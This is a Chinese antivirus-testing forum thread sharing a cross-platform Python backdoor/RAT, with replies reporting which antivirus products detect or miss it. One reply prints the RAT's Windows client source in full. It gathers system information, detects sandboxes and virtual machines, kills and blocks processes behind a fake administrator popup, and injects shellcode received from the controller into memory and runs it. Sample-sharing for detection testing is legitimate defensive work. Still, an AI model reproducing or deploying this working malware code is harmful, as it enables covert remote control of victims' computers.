查看: 1209|回复: 9
收起左侧

[病毒样本] 跨平台 Python Backdoor (backdoor/reverse tcp/RAT )

[复制链接]
00006666
发表于 2022-4-29 17:08:18 | 显示全部楼层 |阅读模式
本帖最后由 00006666 于 2022-4-29 17:14 编辑

跨平台 Python Backdoor (backdoor/reverse tcp/RAT )

该文件为source  非样本 GitHub

@swizzer

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +1 收起 理由
swizzer + 1 感谢支持,欢迎常来: )

查看全部评分

BE_HC
发表于 2022-4-29 17:13:36 | 显示全部楼层
KIS

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
k2132
发表于 2022-4-29 17:14:11 | 显示全部楼层
火绒 报1个 windows.py

Backdoor/Meterpreter.an
swizzer
发表于 2022-4-29 18:18:50 | 显示全部楼层
本帖最后由 swizzer 于 2022-4-29 18:38 编辑

安装失败···

心醉咖啡
发表于 2022-4-29 19:34:32 | 显示全部楼层
毒霸扫描miss
00006666
 楼主| 发表于 2022-4-29 19:35:49 | 显示全部楼层
赵志明2022
发表于 2022-4-29 20:20:08 | 显示全部楼层
本帖最后由 赵志明2022 于 2022-4-29 20:37 编辑

卡巴结果及其删除文件源码




import ctypes
import os
import platform
import socket
import subprocess
import threading
import time

import pythoncom
import wmi

from src.client.control.control import Control
from src.client.persistence.windows import Windows as Persistence
from src.definitions.commands import *


class Windows(Control):
    def get_info(self):
        _hostname = socket.gethostname()
        _platform = f"{platform.system()} {platform.release()}"

        p = Persistence()

        _platform += " (Sandboxie) " if p.detect_sandboxie() else ""
        _platform += " (Virtual Machine) " if p.detect_vm() else ""

        info = {"username": os.environ["USERNAME"], "hostname": _hostname, "platform": _platform,
                "is_admin": bool(ctypes.windll.shell32.IsUserAnAdmin()), "architecture": platform.architecture(),
                "machine": platform.machine(), "processor": platform.processor(),
                "x64_python": ctypes.sizeof(ctypes.c_voidp) == 8, "is_unix": False}

        return info

    def lock(self):
        ctypes.windll.user32.LockWorkStation()

    def toggle_disable_process(self, process, popup):
        process = process.lower()

        if process in self.disabled_processes.keys() and self.disabled_processes.get(process):
            self.disabled_processes[process] = False
            self.socket.send_json(SUCCESS, f"process {process} re-enabled")
            return
        else:
            self.disabled_processes[process] = True
            self.socket.send_json(SUCCESS, f"process {process} disabled")

        # kill process if its running
        subprocess.Popen(["taskkill", "/f", "/im", process], stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                         stdin=subprocess.PIPE, shell=True)

        def message_box(message, title, values):
            threading.Thread(target=lambda: ctypes.windll.user32.MessageBoxW(0, message, title, values)).start()

        def block_process():
            pythoncom.CoInitialize()

            c = wmi.WMI(moniker="winmgmts:{impersonationLevel=impersonate}!//./root/cimv2")

            watcher = c.watch_for(raw_wql="SELECT * from __instancecreationevent within 1 WHERE TargetInstance isa "
                                          "'Win32_Process'")

            while True:
                process_wmi = watcher()

                if not self.disabled_processes.get(process):
                    break

                if process_wmi.Name.lower() == process:
                    process_wmi.Terminate()

                    if popup:
                        message_box(f"{process} has been disabled by your administrator", title=process,
                                    values=0x0 | 0x10 | 0x40000)

        threading.Thread(target=block_process, daemon=True).start()

    # tested on x86 and x64, shellcode must be generated using the same architecture as python interpreter
    # x64 fix from https://stackoverflow.com/questi ... n/61258392#61258392
    def inject_shellcode(self, buffer):
        shellcode = self.socket.recvall(buffer)

        pid = os.getpid()

        try:
            shellcode = bytearray(shellcode.decode('unicode-escape').encode('ISO-8859-1'))

            h_process = ctypes.windll.kernel32.OpenProcess(0x001F0FFF, False, int(pid))

            if not h_process:
                raise Exception(f"Could not acquire pid on {pid}")

            ctypes.windll.kernel32.VirtualAllocEx.restype = ctypes.c_void_p
            ctypes.windll.kernel32.RtlMoveMemory.argtypes = (ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t)
            ctypes.windll.kernel32.CreateThread.argtypes = \
                (ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int,
                 ctypes.POINTER(ctypes.c_int))

            ptr = ctypes.windll.kernel32.VirtualAllocEx(h_process, 0, ctypes.c_int(len(shellcode)),
                                                        ctypes.c_int(0x3000),
                                                        ctypes.c_int(0x40))

            buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

            ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), buf, ctypes.c_size_t(len(shellcode)))

            ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ptr, ctypes.c_int(0),
                                                ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))

            # wait a few seconds to see if client crashes
            time.sleep(3)

        except Exception as e:
            self.socket.send_json(ERROR, f"Error injecting shellcode {e}")
        else:
            self.socket.send_json(SUCCESS)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
心心相印
发表于 2022-4-29 20:21:19 | 显示全部楼层
bd miss
swizzer
发表于 2022-4-29 23:10:19 | 显示全部楼层
00006666 发表于 2022-4-29 19:35
试试另外一个:https://bbs.kafan.cn/thread-2233889-1-1.html

试过了,也没成功···

有空了我排查下是啥缘故
Shake2333
发表于 2022-4-29 23:18:36 | 显示全部楼层
MD扫描miss
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-5-7 15:08 , Processed in 0.124471 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表